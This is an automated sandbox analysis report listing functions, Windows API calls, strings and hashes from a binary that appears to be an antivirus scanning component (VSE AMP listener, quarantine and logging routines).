Associated: 00000009.00000002.2641427448.00007FFBC1BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641463475.00007FFBC1BB2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641481934.00007FFBC1BBD000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2641499316.00007FFBC1BBF000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffbc1ba0000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction ID: 1f72406ae0be3f8a0d6797784de628779ca185b3c5b7caacac150e87a2f3221e
Opcode Fuzzy Hash: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction Fuzzy Hash: 86318E7AA19F8186DB60CF35E8402AE33A1FB88758F945536EA8D53B95DF3CD145CB00

Function 00000001400038D0 Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 239
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWaitableTimer.KERNEL32 ref: 000000014000390C
#4.VSELOG ref: 000000014000395D
#4.VSELOG ref: 000000014000398D
EnterCriticalSection.KERNEL32 ref: 0000000140003996
LeaveCriticalSection.KERNEL32 ref: 00000001400039A7
WaitForMultipleObjects.KERNEL32 ref: 00000001400039CB
#4.VSELOG ref: 0000000140003A04
EnterCriticalSection.KERNEL32 ref: 0000000140003A0D
SetEvent.KERNEL32 ref: 0000000140003A52
ResetEvent.KERNEL32 ref: 0000000140003A5F
LeaveCriticalSection.KERNEL32 ref: 0000000140003A70
#4.VSELOG ref: 0000000140003AA1
#4.VSELOG ref: 0000000140003AD5

Strings

amps_Listen: pHandle=%p, message received, pulling from AMP queue, xrefs: 00000001400039F3
amps_Listen: pHandle=%pdetection component type: %d, xrefs: 0000000140003C93
amps_Listen: pHandle=%psession Id: %d, xrefs: 0000000140003CFB
amps_Listen: pHandle=%pdetection name: %s, xrefs: 0000000140003BB2
null, xrefs: 0000000140003AEF
amps_Listen: pHandle=%pobject name: %s, xrefs: 0000000140003B02
amps_Listen: pHandle=%pobject archive name: %s, xrefs: 0000000140003B74
amps_Listen: pHandle=%pdetection message: %s, xrefs: 0000000140003BED
amps_Listen: pHandle=%peventId: %d, xrefs: 0000000140003AC4
amps_Listen: pHandle=%p, waiting for messages from the AMP queue, xrefs: 000000014000397C
amps_Listen: pHandle=%pdetection type: %d, xrefs: 0000000140003C5F
amps_Listen: pHandle=%p, message is:, xrefs: 0000000140003A90
amps_Listen: pHandle=%paction taken: %d, xrefs: 0000000140003CC7
amps_Listen: pHandle=%pdetection accuracy: %d, xrefs: 0000000140003C2B
amps_Listen: pHandle=%p, p=%p, xrefs: 0000000140003949
amps_Listen: pHandle=%pobject type: %d, xrefs: 0000000140003B3D

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave$MultipleObjectsResetTimerWaitWaitable
String ID: amps_Listen: pHandle=%paction taken: %d$amps_Listen: pHandle=%pdetection accuracy: %d$amps_Listen: pHandle=%pdetection component type: %d$amps_Listen: pHandle=%pdetection message: %s$amps_Listen: pHandle=%pdetection name: %s$amps_Listen: pHandle=%pdetection type: %d$amps_Listen: pHandle=%peventId: %d$amps_Listen: pHandle=%pobject archive name: %s$amps_Listen: pHandle=%pobject name: %s$amps_Listen: pHandle=%pobject type: %d$amps_Listen: pHandle=%psession Id: %d$amps_Listen: pHandle=%p, message is:$amps_Listen: pHandle=%p, message received, pulling from AMP queue$amps_Listen: pHandle=%p, p=%p$amps_Listen: pHandle=%p, waiting for messages from the AMP queue$null
API String ID: 1021822269-3147033232
Opcode ID: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction ID: ec7db78c4d4a766f71db07ed68f83fdabe3b60d74f96cc88383eff92a0be527c
Opcode Fuzzy Hash: e7e75cb521e949a2fcfed2942cb356f66ccf7465466a17c5606e033b0a8adf5e
Instruction Fuzzy Hash: E5D1DAB5205A4592EB12CF17E880BD923A4F78CBE4F454122BB0D4BBB5DF7AD686C350

Function 0000000140001010 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 89
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 0000000140001054
GetProcAddress.KERNEL32 ref: 000000014000106C
FreeLibrary.KERNEL32 ref: 000000014000108F
GetProcAddress.KERNEL32 ref: 00000001400010D2
GetProcAddress.KERNEL32 ref: 00000001400010ED
GetProcAddress.KERNEL32 ref: 0000000140001108
GetProcAddress.KERNEL32 ref: 0000000140001123
GetProcAddress.KERNEL32 ref: 000000014000113E
GetProcAddress.KERNEL32 ref: 0000000140001159
GetProcAddress.KERNEL32 ref: 0000000140001174
FreeLibrary.KERNEL32 ref: 0000000140001194
InitializeCriticalSection.KERNEL32 ref: 00000001400011BE

Strings

vseRelease, xrefs: 0000000140001115
vseExec, xrefs: 0000000140001130
vseGlobalRelease, xrefs: 00000001400010DF
vseInit, xrefs: 00000001400010FA
vseGlobalInit, xrefs: 00000001400010C8
vseGet, xrefs: 000000014000114B
msi.dll, xrefs: 0000000140001042
vseSet, xrefs: 0000000140001166
MsiLocateComponentW, xrefs: 0000000140001062
{7A7E8119-620E-4CEF-BD5F-F748D7B059DA}, xrefs: 0000000140001081

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressProc$Library$Free$CriticalInitializeLoadSection
String ID: MsiLocateComponentW$msi.dll$vseExec$vseGet$vseGlobalInit$vseGlobalRelease$vseInit$vseRelease$vseSet${7A7E8119-620E-4CEF-BD5F-F748D7B059DA}
API String ID: 883923345-381368982
Opcode ID: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction ID: d19804ac2d128cc8e67db72781ea5cb7b7d89be94dae840b99a82102003c66a5
Opcode Fuzzy Hash: b9a27f811b976282af616144a97be757c2cf76aa1f8607743da558726ba8644d
Instruction Fuzzy Hash: F351EEB4221B4191EB52CF26F8987D823A0BB8D7C5F841515EA5E8B3B0EF7AC548C700

Function 0000000140002460 Relevance: 30.1, APIs: 20, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002492
LeaveCriticalSection.KERNEL32 ref: 00000001400024A3
SetEvent.KERNEL32 ref: 00000001400024AD
EnterCriticalSection.KERNEL32 ref: 00000001400024C0
LeaveCriticalSection.KERNEL32 ref: 00000001400024D1
WaitForMultipleObjects.KERNEL32 ref: 00000001400024F1
CloseHandle.KERNEL32 ref: 00000001400024FB
CloseHandle.KERNEL32 ref: 0000000140002505
EnterCriticalSection.KERNEL32 ref: 0000000140002514
SetEvent.KERNEL32 ref: 000000014000255E
ResetEvent.KERNEL32 ref: 000000014000256B
LeaveCriticalSection.KERNEL32 ref: 0000000140002575
GetProcessHeap.KERNEL32 ref: 0000000140002591
HeapFree.KERNEL32 ref: 000000014000259F
GetProcessHeap.KERNEL32 ref: 00000001400025AE
HeapFree.KERNEL32 ref: 00000001400025BC
GetProcessHeap.KERNEL32 ref: 00000001400025CB
HeapFree.KERNEL32 ref: 00000001400025D9
GetProcessHeap.KERNEL32 ref: 00000001400025E8
HeapFree.KERNEL32 ref: 00000001400025F6

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$EnterEventLeave$CloseHandle$MultipleObjectsResetWait
String ID:
API String ID: 1613947383-0
Opcode ID: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction ID: 4415f923c5b49a541c3c18af517eb333de188a5b32bf04682df7988820a44021
Opcode Fuzzy Hash: e9680c11c9d284b0c3aa37b35d301596d2d95dd61f06f1daf2196339e6fd89f5
Instruction Fuzzy Hash: 8D51D3BA204A4496E726DF23F85439A6361F79CBD1F044125EB9A07AB4DF39D599C300

Function 0000000140004500 Relevance: 22.6, APIs: 15, Instructions: 73memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 000000014000451B
EnterCriticalSection.KERNEL32(?,?,?,0000000140002456), ref: 0000000140004525
GetProcessHeap.KERNEL32 ref: 000000014000454C
HeapFree.KERNEL32 ref: 000000014000455A
SetEvent.KERNEL32 ref: 0000000140004567
ResetEvent.KERNEL32 ref: 0000000140004571
LeaveCriticalSection.KERNEL32 ref: 000000014000457B
CloseHandle.KERNEL32 ref: 000000014000458A
CloseHandle.KERNEL32 ref: 0000000140004599
LeaveCriticalSection.KERNEL32 ref: 00000001400045A3
DeleteCriticalSection.KERNEL32 ref: 00000001400045AD
GetProcessHeap.KERNEL32 ref: 00000001400045D2
HeapFree.KERNEL32 ref: 00000001400045E0
GetProcessHeap.KERNEL32 ref: 00000001400045F5
HeapFree.KERNEL32 ref: 0000000140004603

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction ID: 07b3271e3c5f19e1ab061b13c36c38fadfaaa54878a955e19646b3fb384661b9
Opcode Fuzzy Hash: 50d905dbcd5d3d8e314177ba4d4162b1dc612bf36ecce00c392234b6cbb64ee5
Instruction Fuzzy Hash: 7C31D3B6601B41A7EB16DF63F98439833A4FB9CB81F484014EB4A07A35DF39E4B98304

Function 00000001400048A0 Relevance: 22.6, APIs: 15, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400048AD
EnterCriticalSection.KERNEL32 ref: 00000001400048BA
GetProcessHeap.KERNEL32 ref: 00000001400048F1
HeapFree.KERNEL32 ref: 0000000140004903
SetEvent.KERNEL32 ref: 0000000140004917
ResetEvent.KERNEL32 ref: 0000000140004924
LeaveCriticalSection.KERNEL32 ref: 0000000140004931
CloseHandle.KERNEL32 ref: 0000000140004943
CloseHandle.KERNEL32 ref: 0000000140004955
LeaveCriticalSection.KERNEL32 ref: 0000000140004962
DeleteCriticalSection.KERNEL32 ref: 000000014000496F
GetProcessHeap.KERNEL32 ref: 00000001400049A7
HeapFree.KERNEL32 ref: 00000001400049B9
GetProcessHeap.KERNEL32 ref: 00000001400049D5
HeapFree.KERNEL32 ref: 00000001400049E7

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$FreeProcess$CloseEnterEventHandleLeave$DeleteReset
String ID:
API String ID: 1995290849-0
Opcode ID: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction ID: fd5ea752b6625aace240e5dc115a6ac8a79eac1ae5096a798ed6b9a4de507a32
Opcode Fuzzy Hash: 2f4077f28f01d0b1ccc1c48d704ff51649a530c0da5e40bb1ca44111346c6a52
Instruction Fuzzy Hash: B2311BB4511E0985EB07DF63FC943D423A6BB5CBD5F8D0129AB4A8B270EF3A8499C214

Function 0000000140002DE0 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 166registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140002E63
LeaveCriticalSection.KERNEL32 ref: 0000000140002EE7
EnterCriticalSection.KERNEL32 ref: 0000000140002EF9
EnterCriticalSection.KERNEL32 ref: 0000000140002F35
LeaveCriticalSection.KERNEL32 ref: 0000000140002FC0
RegCreateKeyExW.ADVAPI32 ref: 000000014000300B
RegSetValueExW.ADVAPI32 ref: 000000014000304C
RegCloseKey.ADVAPI32 ref: 0000000140003057
LeaveCriticalSection.KERNEL32 ref: 0000000140003064

Strings

SYSTEM\CurrentControlSet\Services\vseamps\Parameters, xrefs: 0000000140002FD5
action, xrefs: 0000000140003020
?, xrefs: 0000000140002FFE

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$EnterLeave$CloseCreateValue
String ID: ?$SYSTEM\CurrentControlSet\Services\vseamps\Parameters$action
API String ID: 93015348-1041928032
Opcode ID: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction ID: 955b1bef443a43e40f7389cebc0d05d3cfed999bfec6c75915e9fb821c1678e4
Opcode Fuzzy Hash: 29268dff0e12a6c2837206cbe8abbe1365c88675c14f20743fcf2bb12703bfc8
Instruction Fuzzy Hash: E3714676211A4082E762CB26F8507DA73A5F78D7E4F141226FB6A4B7F4DB3AC485C700

Function 000000014000F000 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F042
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F05E
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F086
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F0A5
GetProcAddress.KERNEL32 ref: 000000014000F0F3
GetProcAddress.KERNEL32 ref: 000000014000F117

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

Strings

GetActiveWindow, xrefs: 000000014000F075
GetUserObjectInformationA, xrefs: 000000014000F0E9
USER32.DLL, xrefs: 000000014000F03B
GetProcessWindowStation, xrefs: 000000014000F10D
MessageBoxA, xrefs: 000000014000F054
GetLastActivePopup, xrefs: 000000014000F094

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressProc$Load$Library
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3981747205-232180764
Opcode ID: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction ID: 2f5902004a3f6de811dc5f380475ae1a3efdd32c0186a6d00da0f9ae6c345c7d
Opcode Fuzzy Hash: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction Fuzzy Hash: FE515CB561674181FE66EB63B850BFA2290BB8D7D0F484025BF4E4BBB1EF3DC445A210

Function 0000000140002B40 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140002B91
GetProcAddress.KERNEL32 ref: 0000000140002BAD
GetProcAddress.KERNEL32 ref: 0000000140002BC8
GetProcAddress.KERNEL32 ref: 0000000140002BE3
EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

Strings

vseqrt.dll, xrefs: 0000000140002B7E
vseqrtRelease, xrefs: 0000000140002BBA
vseqrtInit, xrefs: 0000000140002BA3
vseqrtAdd, xrefs: 0000000140002BD5

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CriticalSection$AddressProc$EnterLeave$LibraryLoad
String ID: vseqrt.dll$vseqrtAdd$vseqrtInit$vseqrtRelease
API String ID: 3682727354-300733478
Opcode ID: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction ID: 5756194132ff8dd7ec1522ad033bffa79c37130547d86cec9d6c1639cfe77c95
Opcode Fuzzy Hash: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction Fuzzy Hash: 8C710175220B4186EB52DF26F894BC533A4F78CBE4F441226EA598B3B4DF3AC945C740

Function 00000001400033E0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorytimeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140003406
SetWaitableTimer.KERNEL32 ref: 0000000140003432
#4.VSELOG ref: 000000014000346A
GetProcessHeap.KERNEL32 ref: 000000014000351C
HeapReAlloc.KERNEL32 ref: 0000000140003531
GetProcessHeap.KERNEL32 ref: 0000000140003539
HeapAlloc.KERNEL32 ref: 0000000140003547
#4.VSELOG ref: 00000001400035DD
LeaveCriticalSection.KERNEL32 ref: 00000001400035E9
LeaveCriticalSection.KERNEL32 ref: 00000001400035FA

Strings

amps_Init: done, pHandle=%p, xrefs: 00000001400035CC
amps_Init: iFlags=%d, pid=%d, sid=%d, xrefs: 0000000140003452

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$CriticalSection$AllocLeaveProcess$EnterTimerWaitable
String ID: amps_Init: done, pHandle=%p$amps_Init: iFlags=%d, pid=%d, sid=%d
API String ID: 2587151837-1427723692
Opcode ID: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction ID: a7c4065e0455d4df5ce4727384a6dec66c16779501c9bb3b2af2b379a082be6c
Opcode Fuzzy Hash: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction Fuzzy Hash: 9F5114B5225B4082FB13CB27F8847D963A5F78CBD0F445525BB4A4B7B8DB7AC4448700

Function 0000000140004D10 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004D43
GetProcAddress.KERNEL32 ref: 0000000140004D62
GetFileAttributesW.KERNEL32 ref: 0000000140004DE9
LoadLibraryW.KERNEL32 ref: 0000000140004DF7
GetCurrentDirectoryW.KERNEL32 ref: 0000000140004E1C
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E27
LoadLibraryW.KERNEL32 ref: 0000000140004E30
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E41

Strings

SetDllDirectoryW, xrefs: 0000000140004D58
kernel32.dll, xrefs: 0000000140004D3C

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: CurrentDirectory$LibraryLoad$AddressAttributesFileHandleModuleProc
String ID: SetDllDirectoryW$kernel32.dll
API String ID: 3184163350-3826188083
Opcode ID: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction ID: 3ea874f08b0d6ae9fbaedd0e680489d05007b391355801732f4c7fbd06edc96d
Opcode Fuzzy Hash: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction Fuzzy Hash: FD41F6B1218A8582EB22DF12F8547DA73A5F79D7D4F400125EB8A0BAB5DF7EC548CB40

Function 0000000140004BA0 Relevance: 18.1, APIs: 9, Strings: 3, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140004BE7
GetProcessHeap.KERNEL32 ref: 0000000140004BF6
HeapAlloc.KERNEL32 ref: 0000000140004C04
lstrlenW.KERNEL32 ref: 0000000140004C3E
GetProcessHeap.KERNEL32 ref: 0000000140004C4D
HeapAlloc.KERNEL32 ref: 0000000140004C5B
lstrlenW.KERNEL32 ref: 0000000140004C8E
GetProcessHeap.KERNEL32 ref: 0000000140004C9D
HeapAlloc.KERNEL32 ref: 0000000140004CAB

Strings

ampIfEp, xrefs: 0000000140004C29, 0000000140004C6E
Security=impersonation static true, xrefs: 0000000140004C80, 0000000140004CBE
ncalrpc, xrefs: 0000000140004BAF, 0000000140004C17

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3424473247-996641649
Opcode ID: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction ID: 5475aedf582102907cd33adbfaf34f9b11ebc9e91273ce6565e0ea0cfbbdf015
Opcode Fuzzy Hash: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction Fuzzy Hash: FE3137B062A74082FB03CB53BD447E962A5E75DBD8F554019EB0E0BBB6DBBEC1558700

Function 000000014000A740 Relevance: 16.9, APIs: 11, Instructions: 354COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000A7AA
GetLastError.KERNEL32 ref: 000000014000A7BA
MultiByteToWideChar.KERNEL32 ref: 000000014000A874
MultiByteToWideChar.KERNEL32 ref: 000000014000A921
LCMapStringW.KERNEL32 ref: 000000014000A944
LCMapStringW.KERNEL32 ref: 000000014000A98D
LCMapStringW.KERNEL32 ref: 000000014000AA24
WideCharToMultiByte.KERNEL32 ref: 000000014000AA65
LCMapStringA.KERNEL32 ref: 000000014000AB13
LCMapStringA.KERNEL32 ref: 000000014000ABC6
LCMapStringA.KERNEL32 ref: 000000014000AC4C

Memory Dump Source

Source File: 00000009.00000002.2641348974.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000009.00000002.2641326433.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641372093.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641390547.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2641408994.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_140000000_O8xg2t.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction ID: 7820e0e177e3580e7fbac086e7e180635334a87404cd07a7d6eea56579f34d7e
Opcode Fuzzy Hash: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction Fuzzy Hash: 7CE18BB27007808AEB66DF26A54079977E1F74EBE8F144225FB6957BE8DB38C941C700

Function 0000000140009C30 Relevance: 16.6, APIs: 11, Instructions: 150COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C52
GetLastError.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C6C
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C91
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CD4
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CF2
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D09
MultiByteToWideChar.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D37
